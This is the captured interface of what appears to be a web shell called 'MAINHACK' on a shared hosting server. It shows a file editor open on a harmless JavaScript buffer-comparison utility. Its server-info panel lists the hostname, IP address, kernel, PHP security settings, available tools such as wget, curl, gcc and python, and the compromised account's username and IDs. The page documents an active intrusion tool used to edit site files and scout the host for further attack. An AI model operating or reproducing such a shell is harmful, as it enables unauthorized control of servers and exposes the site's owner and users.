[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: buffer.js
// src/utils/buffer.ts import { sha256 } from "./crypto.js"; var equal = (a, b) => { if (a === b) { return true; } if (a.byteLength !== b.byteLength) { return false; } const va = new DataView(a); const vb = new DataView(b); let i = va.byteLength; while (i--) { if (va.getUint8(i) !== vb.getUint8(i)) { return false; } } return true; }; var constantTimeEqualString = (a, b) => { const aLen = a.length; const bLen = b.length; const maxLen = Math.max(aLen, bLen); let out = aLen ^ bLen; for (let i = 0; i < maxLen; i++) { const aChar = i < aLen ? a.charCodeAt(i) : 0; const bChar = i < bLen ? b.charCodeAt(i) : 0; out |= aChar ^ bChar; } return out === 0; }; var timingSafeEqualString = async (a, b, hashFunction) => { if (!hashFunction) { hashFunction = sha256; } const [sa, sb] = await Promise.all([hashFunction(a), hashFunction(b)]); if (sa == null || sb == null || typeof sa !== "string" || typeof sb !== "string") { return false; } const hashEqual = constantTimeEqualString(sa, sb); const originalEqual = constantTimeEqualString(a, b); return hashEqual && originalEqual; }; var timingSafeEqual = async (a, b, hashFunction) => { if (typeof a === "string" && typeof b === "string") { return timingSafeEqualString(a, b, hashFunction); } if (!hashFunction) { hashFunction = sha256; } const [sa, sb] = await Promise.all([hashFunction(a), hashFunction(b)]); if (!sa || !sb || typeof sa !== "string" || typeof sb !== "string") { return false; } return timingSafeEqualString(sa, sb); }; var bufferToString = (buffer) => { if (buffer instanceof ArrayBuffer) { const enc = new TextDecoder("utf-8"); return enc.decode(buffer); } return buffer; }; var bufferToFormData = (arrayBuffer, contentType) => { const response = new Response(arrayBuffer, { headers: { "Content-Type": contentType } }); return response.formData(); }; export { bufferToFormData, bufferToString, equal, timingSafeEqual };
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium331.web-hosting.com
Server IP: 184.94.213.169
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: livedhms
User ID (UID): 1344
Group ID (GID): 1349
Script Owner UID: 1344
Current Dir Owner: 1344